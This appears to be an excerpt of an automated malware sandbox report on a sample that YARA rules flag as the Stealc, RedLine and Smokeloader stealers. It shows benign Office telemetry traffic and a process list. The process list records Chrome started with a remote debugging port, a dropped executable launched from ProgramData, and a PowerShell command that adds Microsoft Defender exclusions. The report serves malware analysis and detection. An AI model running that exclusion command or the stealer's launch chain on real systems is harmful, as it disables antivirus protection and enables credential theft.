2024-10-29 03:18:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d4940829-c01e-0014-691e-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031820Z-17c5cb586f626sn8grcgm1gf8000000004d000000000cetg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 4fe07ac1-301e-0099-249c-276683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031820Z-15b8d89586fhl2qtatrz3vfkf00000000c1000000000dwkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 6a505d8a-f01e-003f-30cf-25d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031820Z-17c5cb586f6w4mfs5xcmnrny6n00000007mg00000000e4z7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:21 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:20 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 0ede0bb0-401e-00a3-7094-298b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031820Z-17c5cb586f6b6kj91vqtm6kxaw00000004k000000000gmb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:21 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:20 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031820Z-16849878b78z2wx67pvzz63kdg00000004eg00000000qswz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:21 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:21 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: e4ad7cd9-001e-0079-1b67-2712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031821Z-17c5cb586f626sn8grcgm1gf8000000004eg000000009hwx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:21 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:21 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:21 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: ef1abc9b-501e-0029-5887-28d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031821Z-15b8d89586f5s5nz3ffrgxn5ac00000006n00000000096qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:21 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:21 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031821Z-16849878b78qf2gleqhwczd21s00000006800000000014w1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Target ID:	0
Start time:	23:16:54
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\X9d3758tok.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\X9d3758tok.exe"
Imagebase:	0x400000
File size:	711'680 bytes
MD5 hash:	5B198B1CB3177BC50C15F147238D6C49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2251891155.000000000084E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2252201407.0000000002360000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:17:02
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:17:03
Start date:	28/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:17:03
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2272,i,12078058665247208728,2668639212947365791,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:17:35
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BAAEHDBFID.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:17:35
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:17:36
Start date:	28/10/2024
Path:	C:\ProgramData\BAAEHDBFID.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\BAAEHDBFID.exe"
Imagebase:	0x7ff7fb910000
File size:	8'582'552 bytes
MD5 hash:	880C9E3235130A6AAAA3EC25BE18BDB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:17:36
Start date:	28/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:17:36
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:17:38
Start date:	28/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	23:17:38
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 7484 -ip 7484
Imagebase:	0xa80000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:17:38
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 3096
Imagebase:	0xa80000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:17:40
Start date:	28/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
